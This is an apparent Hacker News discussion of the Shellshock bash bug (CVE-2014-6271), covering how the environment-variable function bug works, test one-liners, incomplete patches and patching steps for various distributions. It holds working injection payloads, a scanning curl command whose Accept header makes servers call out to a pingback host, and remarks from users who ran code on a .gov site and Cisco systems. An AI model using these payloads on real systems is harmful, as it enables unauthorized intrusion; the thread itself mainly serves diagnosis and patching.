
CVE-2014-6271: Remote code execution through bash - vault_
http://seclists.org/oss-sec/2014/q3/649
======
daveloyall
There's some misunderstanding of how the one-liner works, so here's a writeup.

You can break the one-liner into two lines to see what is happening.

    
    
        1. hobbes@media:~$ export badvar='() { :;}; echo vulnerable'
        2. hobbes@media:~$ bash -c "echo I am an innocent sub process in '$BASH_VERSION'"
        3. bash: warning: badvar: ignoring function definition attempt
        4. bash: error importing function definition for `badvar'
        5. I am an innocent sub process in 4.3.25(1)-release
    

1\. Create a specially crafted environment variable. Ok, it's done. But,
nothing has happened!

2\. Create an innocent sub process. Bash in this case. During
initialization...

3\. ...bash spots the specially formed variable (named badvar), prints a
warning,

4\. ...and apparently doesn't define the function at all?

5\. But other than that, the child bash runs as expected.

And now the same two input lines on and OLD bash:

    
    
        1. hobbes@metal:~$ export badvar='() { :;}; echo vulnerable'
        2. hobbes@metal:~$ bash -c "echo I am an innocent sub process in '$BASH_VERSION'"
        3. vulnerable
        4. I am an innocent sub process in 4.3.22(1)-release
    

1\. Create a specially crafted environment variable. Ok, it's done. But,
nothing has happened!

2\. Create an innocent sub process. Bash in this case. During
initialization...

3\. ...bash accidentally EXECUTES a snippet that was inside the variable named
'badvar'?!

4\. But other than that, the child bash runs as expected. Wow, I should update
that machine. :)

~~~
CSDude
I finally understand how it can be used.

~~~
jMyles
I'm sorry; perhaps I'm slow. I see the problem, but how can a stranger set an
environment variable?

~~~
base698
There are a lot of scripts the do something like: curl
'[http://myradframework.com/script.sh'](http://myradframework.com/script.sh')
| bash

That'd be pretty easy to do this if they weren't honest or man in the middle
attack the site.

~~~
notdonspaulding
That's not really the risk with this vulnerability. Piping a web-sourced
script to bash has always been a vulnerability, but it's one that you choose
to live with when you do it.

The reason this is newsworthy is because there are some network-facing
programs (CGI-based web servers, some SSH configurations) that will set the
value of some environment variables to a user-supplied value, which bash will
then be executed by bash when that program spawns a new process.

------
jimrandomh
If you are responsible for the security of any system, this is your immediate,
drop-everything priority. The technical details of the exploit mean that new
ways of exploiting it will be discovered soon. Precedent suggests that
automated systematic attacks against every server on the Internet will be
coming, on a time scale of hours.

~~~
matchu
So, as a amateur sysadmin of a decently popular side project, what should I
do? I've read over the post on the mailing list, and I think I understand the
basic attack, but I'm having trouble understanding exactly how an attacker
could run bash on my server and what I therefore need to patch (though I
suspect that's intentional). Is `sudo apt-get update && sudo apt-get upgrade`
sufficient on an Ubuntu server?

~~~
sauere
> Is `sudo apt-get update && sudo apt-get upgrade` sufficient on an Ubuntu
> server?

Yes. Patch is out.

~~~
Danieru
You should also reboot to ensure no running instances of bash are vulnerable.

~~~
cesarb
If I understood this bug correctly, it happens during bash's initialization.
If I'm right, already running instances of bash are not vulnerable, and new
instances will use the fixed executable, so no reboot would be necessary for
this bug.

------
JoshTriplett
Is it just me, or are the patches "fixing" the vulnerability woefully
insufficient? With the patch, bash stops executing the trailing code, but it
still allows defining arbitrary shell functions from environment variables.
So, even though the patch fixes the ability to exploit this via
SSH_ORIGINAL_COMMAND or HTTP_*, anything that can set environment variables
can still override an arbitrary command. (Note that privileged environments
typically filter out attempts to set PATH, LD_LIBRARY_PATH, and so on.)

This applies even if your shell script or shell snippet uses the full paths to
commands. For instance:

    
    
        $ env '/sbin/foo'='() { echo exploit; }' bash -c '/sbin/foo'
        exploit

~~~
notacoward
It's not just you. The fact that an environment variable can override e.g.
"git" to do something else is a real problem requiring separate protection.
However, that's effectively PATH injection rather than code injection so it's
already addressed in many cases.

~~~
JoshTriplett
Except that most environments already filter out attempts to control PATH,
LD_LIBRARY_PATH, and similar; they don't filter out "git".

~~~
notacoward
I agree. In the next few months, we'll probably be finding out about some of
the cases where neither existing sanitization nor the half-fix for this
problem was sufficient to prevent exploits in this family. :(

------
andrew13
It might still be an issue. The patches may not have done enough.

$ env X='() { (a)=>\' sh -c "echo date"; cat echo

[https://twitter.com/taviso/status/514887394294652929#](https://twitter.com/taviso/status/514887394294652929#)

env X='() { (a)=>\' bash -c "echo echo vuln"; [[ "$(cat echo)" == "vuln" ]] &&
echo "still vulnerable :("

~~~
Negitivefrags
Can anyone confirm that this is still a security issue?

My reading of this is that it's weird, and it's certainly a bug in the parser,
but because you don't get to put the executable code in the environment
variable it's not an RCE exploit like the last bug was.

Does anyone have confirmation that this new bug allows you to RCE with control
of the value of an environment variable alone?

~~~
thaumaturgy
That was my initial reaction too, but I'm not so sure now that the bash
maintainer has responded. I'm trying to get a better PoC working.

edit: OK, I give. I don't understand how this is different from,

    
    
        env z='' echo oops
    

So, assuming you have Stupid Server 2.0, and SS 2.0 allows you to send an
Accept: header with,

    
    
        '' evil command here
    

...you still need to find a way to execute that command, which is different
from CVE-2014-6271, which caused function embedded in environment variables to
be executed when they were read.

Am I missing something?

~~~
timv
_Am I missing something?_

I think so, but the sample exploit isn't really designed to give a clear
understanding if you don't already know what's going on.

Try this:

    
    
      $ export X="() { (a)=>\\"
      $ bash -c 'echo date'
      bash: X: line 1: syntax error near unexpected token `='
      bash: X: line 1: `'
      bash: error importing function definition for `X'
      $ cat echo
      Thu Sep 25 02:27:07 UTC 2014
    

Setting "X" in that way confuses the bash env variable parser. It barfs at the
"=" and leaves the ">\" unparsed

AFAICT (without digging deep into the code) that leave in the execution buffer
as ">\\[NEWLINE]echo date" which gets treated the same as

    
    
      date > echo

~~~
thaumaturgy
Oh that's neat.

------
masterleep
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

From [https://securityblog.redhat.com/2014/09/24/bash-specially-
cr...](https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-
environment-variables-code-injection-attack/)

~~~
darklajid
Whoa. I tried this, ran pacaur -Suy and .. it's patched.

Arch was fast.

~~~
dllthomas
It's fixed in Debian as well.

~~~
jvreeland
only in wheezy (security) right now.

squeeze. jessie and wheezy are still vulnerable.

[https://security-tracker.debian.org/tracker/CVE-2014-6271](https://security-
tracker.debian.org/tracker/CVE-2014-6271)

~~~
ars
squeeze is not supported anymore but you can use squeeze-lts.

It's been uploaded to squeeze-lts but has not reached the mirrors.

You can get it manually from [http://incoming.debian.org/debian-
buildd/pool/main/b/bash/](http://incoming.debian.org/debian-
buildd/pool/main/b/bash/) if you can't wait.

~~~
danielweber
I've got a Debian VM I maintain for giggles, and just out of masochism I've
been running "apt-get update" and "apt-get upgrade" for a while and watching
nothing change.. Am I doing something wrong or is the whole process just slow?

    
    
        deb http://http.debian.net/debian/ squeeze-lts main contrib non-free
        deb-src http://http.debian.net/debian/ squeeze-lts main contrib non-free

~~~
ars
You probably have:

    
    
        APT::Default-Release "squeeze";
    

In a configuration somewhere. Check /etc/apt and the various files in the
subdirectories of that.

If you have that line remove it or change it to squeeze-lts

------
wyager
This is what happens when you have two different processes doing IPC using a
human interface mechanism.

Another huge family of vulnerabilities that exists for the same reason are SQL
injection vulnerabilities. SQL was invented as a way for humans at a terminal
to do database operations. However, we started using it as a way of doing IPC.
The problem with using human interfaces as an IPC mechanism is that human
interfaces are rarely well-defined or minimal, so it is very hard to constrain
behavior to what you expect.

The way to fix all of these bugs is to use well-defined, computer-oriented IPC
mechanisms where there is a clear distinction between code and data. For
example, database queries might be constructed by function call instead of
string manipulation, which could pack them into a safe TLV format with no
chance of malicious query injection. Generating web server content from a
different language could be done via a proper FFI or message passing
mechanism, rather than CGI scripts.

------
cft
Here's how to patch Ubuntu 8.04 or anything where you have to build bash from
source:

    
    
      #assume that your sources are in /src
      cd /src
      wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
      #download all patches
      for i in $(seq -f "%03g" 0 25); do wget     http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-$i; done
      tar zxvf bash-4.3.tar.gz 
      cd bash-4.3
      #apply all patches
      for i in $(seq -f "%03g" 0 25);do patch -p0 < ../bash43-$i; done
      #build and install
      ./configure && make && make install
    
    

Not sure if Ubuntu 8.04 with custom built bash will be upgradable to 10.04??

~~~
gklyne
This sequence failed for me because my Ubuntu 8.04 didn't have patch
installed.

I found a source copy at
[https://launchpad.net/ubuntu/+source/patch/2.5.9-4](https://launchpad.net/ubuntu/+source/patch/2.5.9-4)
and built/installed that first. The resulting fix appears to work (after
copying resulting bash to /bin as noted elsewhere).

~~~
oows
I am running Ubuntu 10.10 but patch is not installed. Can someone explain the
commands needed to download, build, and install patch as mentioned above.
Thanks for any help.

~~~
oows
I found out how to install the patch package here:

[http://askubuntu.com/questions/529233/how-do-i-install-
patch...](http://askubuntu.com/questions/529233/how-do-i-install-patch-on-
older-ubuntu)

------
agwa
It is a very good thing that Debian and Ubuntu use /bin/dash for /bin/sh by
default, since /bin/sh is implicitly invoked all over the place (e.g. by
system(3)). Distros which use /bin/bash for /bin/sh are gonna have a bad time.

Edit: not implying that Debian and Ubuntu aren't affected too, just that the
impact there will be lessened.

~~~
ForHackernews
Do you have a source for that? Some articles [0] claim "This affects Debian as
well as other Linux distributions."

[0] [http://www.csoonline.com/article/2687265/application-
securit...](http://www.csoonline.com/article/2687265/application-
security/remote-exploit-in-bash-cve-2014-6271.html)

~~~
aroch
Debian7 doesn't look to be vulnerable by default (if the code snippet can be
trusted to work):

    
    
        [arch/testbed ~] uname -a
        Linux 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 GNU/Linux
        [arch/testbed ~]  env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
        bash: warning: x: ignoring function definition attempt
        bash: error importing function definition for `x'
        this is a test

~~~
kazinator
I have a Debian Squeeze system. Just ran apt-get upgrade and bash wasn't
upgraded at all. Just other things like CUPS, exim4, pgsql, ...

~~~
agwa
Squeeze doesn't have regular security support anymore. A subset of packages on
i386 and amd64 are receiving long term security support, but you need to
enable the Squeeze LTS repo:

[https://wiki.debian.org/LTS/Using](https://wiki.debian.org/LTS/Using)

~~~
ars
It has not reached the lts mirrors yet, but you can get it from
[http://incoming.debian.org/debian-
buildd/pool/main/b/bash/](http://incoming.debian.org/debian-
buildd/pool/main/b/bash/)

~~~
daveloyall
As of 7:24 PM GMT the above link has the amd64 .deb for sid.

Still waiting on the i386 .deb for sid.

Your link and this link ([https://security-
tracker.debian.org/tracker/CVE-2014-6271](https://security-
tracker.debian.org/tracker/CVE-2014-6271)) useful when considered together.

~~~
daveloyall
The i386 .deb is available!

Aaaand now I'm done checking back on this thread. Have fun, folks! :)

------
kazinator
Passing executable code in environment variables is an incredibly bad idea.

The parsing bug is a red herring; there are probably ways to exploit the
feature even when it doesn't have the bug.

The parsing bug means that the mere act of defining the function in the child
bash will execute the attacker's code stored in the environment variable.

But if this problem is closed, the issue remains that the attacker controls
the environment variable; the malicious code can be put inside the function
body. Even though it will not then be executed at definition time, perhaps
some child or grand-child bash can be nevertheless goaded into calling the
malicious function.

Basically this is a misfeature that must be rooted out, pardon the pun.

------
antocv
Funny, this works even after bash fix / upgrade

env X='() { (a)=>\' sh -c "echo date"; cat e

From [http://seclists.org/oss-sec/2014/q3/672](http://seclists.org/oss-
sec/2014/q3/672)

~~~
scintill76
I replaced "sh" with "bash" in the above, and on my patched system it creates
a file called "echo" with the date in it. Can anyone explain how this works?
Is it an exploit?

Edit: From my experiments, the name in (a) doesn't matter, and "echo" and
"date" can be changed. The thing in echo's position is where the output goes
(and can be an absolute path!), and "date" is a command that is run. Still no
idea how it works, as I'm not very familiar with shell syntax and Googling
symbols like "=>" is mostly useless. It may even be meaningless and is just
garbage to get bash into a state that causes this to happen?

Edit 2: [http://seclists.org/oss-sec/2014/q3/679](http://seclists.org/oss-
sec/2014/q3/679) has a small example. "Tavis and I spent a fair amount of time
trying to figure out if this poses a more immediate risk, but so far, no dice.
It strongly suggests that the parser is fragile and that there may be
unexpected side effects, though"

------
khaki54
So I took a great unix/linux systems programming class,
[http://sites.fas.harvard.edu/~lib215/](http://sites.fas.harvard.edu/~lib215/)
where you learn about all of the system software that you take for granted.
Among other things, we had to write our own shell. There is an awful lot to
consider, and most of it you are just trying to get to work properly. With
regard to security, you feel like you are protected for the most part because
the shell resides in userland and it's basically understood that you shouldn't
trust foreign shell scripts.

Is the worry here that the code gets executed by the kernel or superuser,
enabling privilege escalation? Otherwise it wouldn't be a big deal that extra
code is executed by a function declaration.

~~~
dtech
It allows arbitrary code execution if an attacker can modify environment
variables through other software.

Most webservers put certain HTTP headers in environment variables. I can
certainly see the how this could be exploited.

~~~
Someone1234
> Most webservers put certain HTTP headers in environment variables.

I legitimately don't understand why they might do such a thing. Can you
explain?

~~~
yxhuvud
They need to pass data into a CGI script somehow.

~~~
vidarh
But a shell will rarely be involved in executing a CGI, unless that CGI itself
executes one. And who still uses CGI scripts?

Not to say nobody will be bitten by that, but I don't think that's going to be
all that widespread.

~~~
peterwwillis
Have you ever looked at the backend web interface of some of the most popular
residential wifi routers? It's shell script. Why? It's a cheap and accessible
interpreted language; no need to clutter up your tiny embedded OS with the
huge requirements of php, perl, etc when you have all the tools you need in
busybox.

CGI apps execute shell scripts all the time. Even if an app executes an app
executes an app executes an app, if that app four layers down runs a shell
script, _the environment is still passed down_. Turtles, dude.

~~~
justincormack
Fortunately they are unlikely to install bash at all on a router.

~~~
peterwwillis
Routers definitely have shells, it's just a matter of whether it's bash or
something else that might also be vulnerable.

~~~
justincormack
Bash is big and bloated, and you already have the busybox sh probably. However
apparently some do have bash....

------
ck2
[http://www.csoonline.com/article/2687265/application-
securit...](http://www.csoonline.com/article/2687265/application-
security/remote-exploit-in-bash-cve-2014-6271.html)

 _Another attack surface is OpenSSH through the use of AcceptEnv variables. As
well through TERM and SSH_ORIGINAL_COMMAND. An environmental variable with an
arbitrary name can carry a nefarious function which can enable network
exploitation._

~~~
adamt
On most systems I've found this works: LC_TIME='() { :;}; echo vulnerable' ssh
<hostname>

Not sure of the impact of this, as the user would need to have a remote
permissions anyway for the SSH login to occur. But if there was some form of
restricted shell that then spawned bash it might potentially create an attack
vector.

~~~
MrUnderhill
I was wondering about this too. My thinking was, if a user's laptop is
compromised (and has the exploit in LC_TIME, TERM or similar), and the user
then SSH in to a server with exploitable bash, the nefarious command will
presumably be executed without the user knowing. But of course, if the laptop
is compromised that badly, it could probably wreak havoc to the server anyway.

------
_wmd
As an example of who might be impacted, since openssh preserves the original
command line passed to the ssh server when authenticating a public key that
has a fixed command associated in authorized_keys, GitHub and BitBucket
security teams are probably both having a really exciting day.

~~~
scintill76
This vulnerability is the kind of reason I would have a stripped-down OpenSSH
for public users, if I were them. Hard-code to do what they need, don't use
configuration files, remove any features not needed. For example, to print the
"You've successfully authenticated, but GitHub does not provide shell access."
a user gets trying to ssh to github.com, don't invoke anything, print it
directly from the SSH server.

~~~
graylights
Much easier to implement a custom captive shell (default login shell for user)
then to mess with the crypto system.

~~~
scintill76
Maybe. Actually, it looks like Github is using libssh, which is along the
lines of what I was thinking, without having to mess with crypto too much, as
you say.

------
Eclyps
Amazon's Linux distro for EC2 is still waiting for a patch.

EDIT: Finally got things updated. Bulletin can be found here:
[https://alas.aws.amazon.com/ALAS-2014-418.html](https://alas.aws.amazon.com/ALAS-2014-418.html)

If yum isn't finding the update, try running "yum clean all" and then "yum
update bash"

~~~
rbliss
Still waiting for a fix on Beanstalk. Neither "yum clean all" followed by "yum
update bash" nor "yum --releasever=2014.09 update bash" currently work.

EDIT: relevant AWS threads

[https://forums.aws.amazon.com/thread.jspa?threadID=161489](https://forums.aws.amazon.com/thread.jspa?threadID=161489)

[https://forums.aws.amazon.com/thread.jspa?threadID=161529&ts...](https://forums.aws.amazon.com/thread.jspa?threadID=161529&tstart=0)

~~~
rbliss
Should be fixed now:

To manually update EC2 instances managed by Elastic Beanstalk, you can run the
following command:

For Amazon Linux 2013.09 "sudo yum install -y [http://packages.us-
east-1.amazonaws.com/2013.09/updates/556c...](http://packages.us-
east-1.amazonaws.com/2013.09/updates/556c442ced2f/x86_64/Packages/bash-4.1.2-15.18.20.amzn1.x86_64.rpm")

For Amazon Linux 2014.03 "sudo yum install -y [http://packages.us-
east-1.amazonaws.com/2014.03/updates/e10f...](http://packages.us-
east-1.amazonaws.com/2014.03/updates/e10f5b547e18/x86_64/Packages/bash-4.1.2-15.19.amzn1.x86_64.rpm")

------
jingo
A quick fix would be to stop using bash.

I write hundreds of shell scripts per year and I never, ever use bash.
Everything can be done with a less complex /bin/sh having only POSIX-like
features.

There's no reason webservers have to use bash by default.

Sysadmins might need a hefty shell will lots of features in order to do their
work, but an httpd should not need access to bash-isms. It should work fine
with a very minimal POSIX-like shell.

I'm glad the systems I use do not have bash installed by default. The only
time I ever use it is when a software author tries to force me to use bash by
writing their install scripts in it and using bash-isms so the script will not
run with a simpler shell like a BSD /bin/sh.

------
flebron
Maybe I'm doing something wrong, but I just tested it in ZSH (5.0.5, Linux)
and the same vulnerable behavior seems to show up.

~~~
ckuehl
How are you testing it? If you're just pasting one of the proof-of-concept
lines into zsh, such as this one:

    
    
        env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
    

...then you're really just executing bash. Replace "bash" in the line above
with "zsh" and the "vulnerable" line is not printed.

~~~
adamtj
No, it's not printed in your trivial example, but if you replace the simple
"echo" command with any bash script, or any executable that calls a bash
script, or any executable that invokes another program that calls a bash
script, or ... then you're screwed.

Even with the "zsh", this should print "vulnerable":

    
    
      env x='() { :;}; echo vulnerable' zsh -c "bash -c true"
    

You don't have to use bash explicitly. It might be called by some application
or library. For example, if your default shell is a bash, this will work too:

    
    
      env x='() { :;}; echo vulnerable' zsh -c "python -c 'import os; os.system(\"true\")'"

~~~
ckuehl
Right, the point being that bash is vulnerable, not zsh (as was suggested by
the post I was replying to). I'm not claiming that using zsh as your
interactive shell somehow makes you immune.

------
userbinator
According to [http://wiki.bash-
hackers.org/syntax/basicgrammar](http://wiki.bash-
hackers.org/syntax/basicgrammar) it appears that this is because bash allows
_functions_ to be exported through environment variables into subprocesses,
but the code to parse those function definitions seems to be the same used to
parse regular commands (and thus execute them).

Edit: after a brief glance over the affected code, this might not be so easy
to patch completely - the actual method where everything interesting starts to
take place is initialize_shell_variables in variables.c and parse_
_and_execute_ () in builtins/evalstring.c, so parsing and execution happen
together; this is necessary to implement the shell grammar and is part of what
makes it so powerful, but it can also be a source of vulnerabilities if it's
not used carefully. I suppose one attempt at fixing this could be to separate
out the function parsing code into its own function, one which can't ever
cause execution of its input, and use that to parse function definitions in
environment variables. This would be a pretty easy and elegant thing to do
with a recursive-descent parser, but bash uses a lex/yacc-generated one to
consume an entire command at once...

However, all in all I'm not so sure this ability to export funcdefs is such a
good idea - forking a subshell automatically inherits the functions in the
parent, and if it's a shell that wasn't created in such a manner, if it needs
function definitions it can read them itself from some other source. This
"feature" also means environment variables cannot start with the string '() {'
(and _exactly_ the string '() {' \- even removing the space between those
characters, e.g. '(){', doesn't trigger it) without causing an error in any
subprocess - violating the usual assumption that environment variables can
hold any arbitrary string. It might be a rare case, but it's certainly a cause
for surprise.

~~~
spb
I'm hoping we'll see a patch soon that altogether removes this misfeature.

EDIT: Apparently that's out of the question, but there's talk about using a
BASH_FUNCDEFS variable to specify which variables are function definitions
instead: [http://www.openwall.com/lists/oss-
security/2014/09/24/20](http://www.openwall.com/lists/oss-
security/2014/09/24/20)

------
Zweihander
For more info: [http://www.csoonline.com/article/2687265/application-
securit...](http://www.csoonline.com/article/2687265/application-
security/remote-exploit-in-bash-cve-2014-6271.html)

This should be fun

~~~
nknighthb
CGI has always been an accident waiting to happen, but hardly anybody uses it
anymore anyway, and even more rarely in a manner that invokes bash, of all
things.

I fail to see how "HTTP requests" generically are a vector, and its "Here is a
sample" statement is not a link and is followed by... nothing.

This article tells me nothing useful other than "don't allow untrusted data
into your environment", which we've all known for 20 years.

~~~
huhtenberg
> hardly anybody uses it anymore anyway

Lots of PHP setups do.

~~~
ars
Lots? Really?

PHP was one of the first to have a dedicated apache module. Perl is much more
likely to be CGI.

~~~
lmz
I seem to recall cPanel defaulting to suPHP (which uses CGI).

~~~
jamroom
Yeah this is true - a lot of hosting providers run PHP as a CGI as it allows
them to run the PHP process under the user account (although it is very slow,
and RUID2 is a better solution).

If you're not running mod_cgi can this affect the system in any way?

Thanks!

------
why-el
Is someone from Heroku online here right now? My apps are all affected and
since I am trusting Heroku with this, I am hoping they patch the system as
soon as possible.

~~~
yuvadam
They will be patching shortly [1]

[1] -
[https://twitter.com/jacobian/status/514865870649061376](https://twitter.com/jacobian/status/514865870649061376)

~~~
why-el
Yep, they did. :)

------
Oculus
Have big security vulnerabilities been cropping up more often recently or does
it seem that way because I've started to pay attention?

~~~
drzaiusapelord
Its been a bad time for FOSS/Linux systems. Heartbleed, the occasional priv
escalation, apt-get, bash, etc. Or whatever the hell happened at TrueCrypt. Or
the recent AOSP browser bug in Android that probably won't be patched by any
OEM/Carrier. These are all pretty serious issues. Not to mention the endless
wave of malware targeting Windows systems, especially the evil cryptolocker
ransomware.

I really do think heartbleed was a wake-up call for some people and a lot of
extra auditing is being done, perhaps with some healthy paranoia fueled by the
recent NSA allegations. Software, in general, imo, is pretty insecure. The
exploits, bugs, etc are out there and if you'll find them if you look hard
enough. Considering software is always being updated, that also means news
bugs and security issues.

As a sysadmin, I've just seen too often how the sausage is made. I have zero
illusions about security. There are just too many avenues to compromise, be it
via software or via plain-jane social engineering. I think one day in the
future we (or our children) are going to look back at the age of viruses and
buffer overflows and wonder how the hell we managed to get by, the same way I
look at cars from the 50s-60s that suffered from things like vapor lock, were
incredibly unsafe, and other issues that really don't exist today.

~~~
lonnyk
Are you referring to this apt-get vulnerability or another one:
[https://lists.debian.org/debian-security-
announce/2014/msg00...](https://lists.debian.org/debian-security-
announce/2014/msg00219.html) ?

------
h43k3r
I tested some of the sites and successfully executed some test code. One can
easily google for such sites. The important thing is that, the link using
which I ran the code is of a .gov site.

This thing seriously needs to be patched asap. Update your systems now.

~~~
Afforess
Even a harmless code exploit, when run on a computer system you do not have
normal permission to use, is a felony in the USA.

------
m4r71n
Some more information was just posted to oss-sec:

[http://seclists.org/oss-sec/2014/q3/650](http://seclists.org/oss-
sec/2014/q3/650)

------
ecze
With this bug, bash access to CiscoCallmanager is possible... Tested and
working....

~~~
MichaelGG
VoIP software is hilariously insecure in general. This little bug is going to
make some people a ton of money. Or even just cost some people a lot.

------
AnimalMuppet
Off topic:

 _This_ is why I keep coming back to HN. I've gotten an amazing amount of
useful info on this very quickly. Great discussion - no trolling, no BS, just
serious questions and serious answers.

~~~
prothid
Don't tell anyone.

~~~
hadoukenio
See:

[http://en.wikipedia.org/wiki/Eternal_September](http://en.wikipedia.org/wiki/Eternal_September)

[http://www.reddit.com/r/OutOfTheLoop/comments/1i8mp7/what_is...](http://www.reddit.com/r/OutOfTheLoop/comments/1i8mp7/what_is_the_digg_migration/)

------
MBlume
I'm a bit confused about how to properly patch my mac.

Homebrew installs upgraded bash to /usr/local/bin/bash, everyone says what I
should do is run 'chsh -s /usr/local/bin/bash' but if I have a script that has
a /bin/bash hashbang at the top, won't it still use the vulnerable bash
install?

I mean I guess the answer is "you're probably not hosting a publicly
accessible service on your mac, who cares?", which is true in my case, but
still.

~~~
acdha
You're correct – you'd need to overwrite /bin/bash (think long and hard about
this) to update it before Apple ships an update.

The good news is that as long as you're not running a local server, the
vulnerability is pretty limited particularly since even if you did have SSH
enabled the exploit would require valid authentication first.

~~~
sehugg
There's some potentially funky stuff there like CUPS, which runs a local
daemon that serves binary CGIs (though I think it's bound to localhost by
default).

[http://support.apple.com/kb/HT4169](http://support.apple.com/kb/HT4169)

Might be wise to turn all network-listening services off that you don't
immediately need until a fix is available.

~~~
acdha
> Might be wise to turn all network-listening services off that you don't
> immediately need until a fix is available.

I would go further and suggest that now is an excellent time to ask which of
those services you really need to have at all. The default of blocking
incoming connections is right for most people, even developers.

------
BenjaminCoe
Wanted to share the simple Ansible script we used to patch CVE-2014-6271 at
npm: [https://github.com/npm/ansible-
bashpocalypse](https://github.com/npm/ansible-bashpocalypse)

~~~
bowlofpetunias
Just did something similar with Ansible, the simple task "apt update_cache=yes
pkg=bash state=latest" will do the trick. At least it did for me.

------
0x0
The currently published fix is claimed to be incomplete:
[https://twitter.com/taviso/status/514887394294652929](https://twitter.com/taviso/status/514887394294652929)

~~~
Erwin
That works for me too. I was first unsure but breaking it up into an export
Z=.... and then running bash -c 'echo date' on a separate line seems to
execute essentially date > echo.

Can anyone explain what's going on there? Seems like defining a function
within a nameless function; how does it end up with this redirect? I'm not
sure what the exploitabiliy of this is; is it just essentially $1 > $0 ?

~~~
scintill76
The redirect at the end of the env var seems to be "remembered" even though
the syntax error aborts the function definition, then the first arg is taken
as the path to redirect to, and the following args as the command to execute.
(I haven't dug into the actual parser, this is just my intuitive
understanding.) It does seem to be about like $1 > $0, so not generally
exploitable.

Here's an example using it to read files instead of write:
[https://news.ycombinator.com/item?id=8365205](https://news.ycombinator.com/item?id=8365205)
But still, not as universal of an exploit as the original.

------
peterwwillis
Know what isn't vulnerable to this? Perl CGI scripts with taint mode enabled.
[http://perldoc.perl.org/perlsec.html#Taint-
mode](http://perldoc.perl.org/perlsec.html#Taint-mode)

    
    
      You may not use data derived from outside your program to affect something
      else outside your program--at least, not by accident. All command line
      arguments, environment variables, locale information (see perllocale),
      results of certain system calls (readdir(), readlink(), the variable
      of shmread(), the messages returned by msgrcv(), the password,
      gcos and shell fields returned by the getpwxxx() calls), and all
      file input are marked as "tainted".
    
      Tainted data may not be used directly or indirectly in any command
      that invokes a sub-shell, nor in any command that modifies files,
      directories, or processes, with the following exceptions:

~~~
phs2501
Not true if the perl script calls out to bash (i.e. via system), as it doesn't
sanitize the environment:

    
    
        $ env x='() { :;}; echo vulnerable' perl -T -e "\$ENV{PATH} = '/bin'; system('ls | cat');"  
        sh: warning: x: ignoring function definition attempt
        sh: error importing function definition for `x'
        ...

------
iuguy
My OSX Mavericks install appears to be affected:

    
    
      foom:~ steve$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
      vulnerable
      this is a test

~~~
fluidcruft
Doesn't OSX ship the 8-year-old bash 3.2 (2006) i.e. the last version
available as GPLv2? (Apple hates GPLv3)

~~~
actionscripted
For me in 10.9.5:

    
    
      $ bash --version
      GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
      Copyright (C) 2007 Free Software Foundation, Inc.

------
gwillem
This is quite stealthy way to scan, as Accept headers are generally not
logged:

    
    
        curl -H 'Accept: () { :;}; /usr/bin/curl -so /dev/null http://my.pingback.com' 
    

Found nothing so far though. IMHO the number of Bash CGI scripts in the wild
must be pretty low.

~~~
antocv
Maybe the bash is invoked on some other request path, not just / which you are
scanning.

I would go with /login and such, or write a crawler to parse out where the
login/logout URLs are and try those.

------
AntiRush
It seems like the current patch might not be a complete fix:

[http://seclists.org/oss-sec/2014/q3/671](http://seclists.org/oss-
sec/2014/q3/671)

~~~
fl0wenol
I think the default in bash should be to never execute the contents of
environment variables (like the restricted shell mode allows). Does anyone
know why it allows you to pass in shell functions this way? Does anything use
it?

------
ilconsigliere
Am I wrong in thinking that seems a bit worse than Heartbleed?

~~~
jrochkind1
The exploit is worse.

But I'm not sure how a scanner bot would find network accessible bashes to
exploit. Seems like basically you need a cgi-bin with bash, and I don't think
there's any way to predict a URL that is going to have such a thing.

Now, if there is some popular app that ends up vulnerable (perhaps because it
shells out to bash), then that's definitely going to be huge.

But as it is... I'm not sure?

~~~
apawloski
Google inurl:cgi-bin inurl:.sh

~~~
jrochkind1
Yeah, that makes sense. Did you try it?

Gets me ~6k of hits that have just 'sh' in the URL (without the dot), and are
not what we're looking for, mostly forum posts asking about how to make a bash
cgi-bin. (Answer from the future: don't).

I _think_ putting quotes around the ".sh" is supported to force the result to
really have the period before the sh in the url.

inurl:cgi-bin inurl:".sh"

0 hits

~~~
nisa

        inurl:cgi-bin "inurl:\.sh$"
    

320k results here. The slash and $ made a difference but they are not parsed
as regex other chars work too. Not sure what's going on here.

------
throwaway49152
What would be the best way to go if using Debian 5 (lenny)?

The only service exposed is ssh, and no one outside the company has an
account. Is it still vulnerable through ssh?

~~~
baq
see [http://seclists.org/oss-sec/2014/q3/651](http://seclists.org/oss-
sec/2014/q3/651). can't say i understood much, but the answer i can give is
'likely'.

------
sauere
No update out for Ubuntu Server 14.04 yet.

/edit: the Red Hat blog has a good overview
[https://securityblog.redhat.com/2014/09/24/bash-specially-
cr...](https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-
environment-variables-code-injection-attack/)

~~~
hamiltonkibbe
Update for Ubuntu Server 14.04 is available

------
deathanatos
From just a functionality standpoint, how is even the patched version supposed
to work? It seems to undefine the variable:

    
    
      % E='() { echo hi; }; echo cry' bash -c 'echo "-$E-"'
      bash: warning: E: ignoring function definition attempt
      bash: error importing function definition for `E'
      --
    

Since everyone's favorite example seems to be CGI scripts, doesn't this result
in the script having no variable, as opposed to just a text one? Suddenly the
script can break because an expected variable is no longer present simply
because the input had a certain odd looking form?

In fact, if I wanted my variable to be a function, why wouldn't I just
explicitly eval it? What's the use case at all for this functionality?

------
dholl
I got tired of the hype. How's the following code for a mitigation?

Basically, if some program does invoke /bin/bash, control first passes to this
code which truncates suspicious environment variables. (and it dumps messages
to the system log if/when it finds anything...)

The check should match for any variety of white space:

=(){

=() {

= ( ) {

etc... but feel free to update it for whatever other stupid things bash
allows.

The code is at
[http://ad5ey.net/bash_shock_fix.c](http://ad5ey.net/bash_shock_fix.c)

Simple usage:

cd /bin

gcc -std=c11 -Wall -Wextra bash_shock_fix.c -o bash_shock_fix

mv bash bash.real

ln -s bash_shock_fix bash

phoenix(pts/1):~bin# ls -al bash*

lrwxrwxrwx 1 root root 14 Sep 27 00:23 bash -> bash_shock_fix

-rwxr-xr-x 1 root root 1029624 Sep 24 14:51 bash.real

-rwxr-xr-x 1 root root 9555 Sep 27 00:23 bash_shock_fix

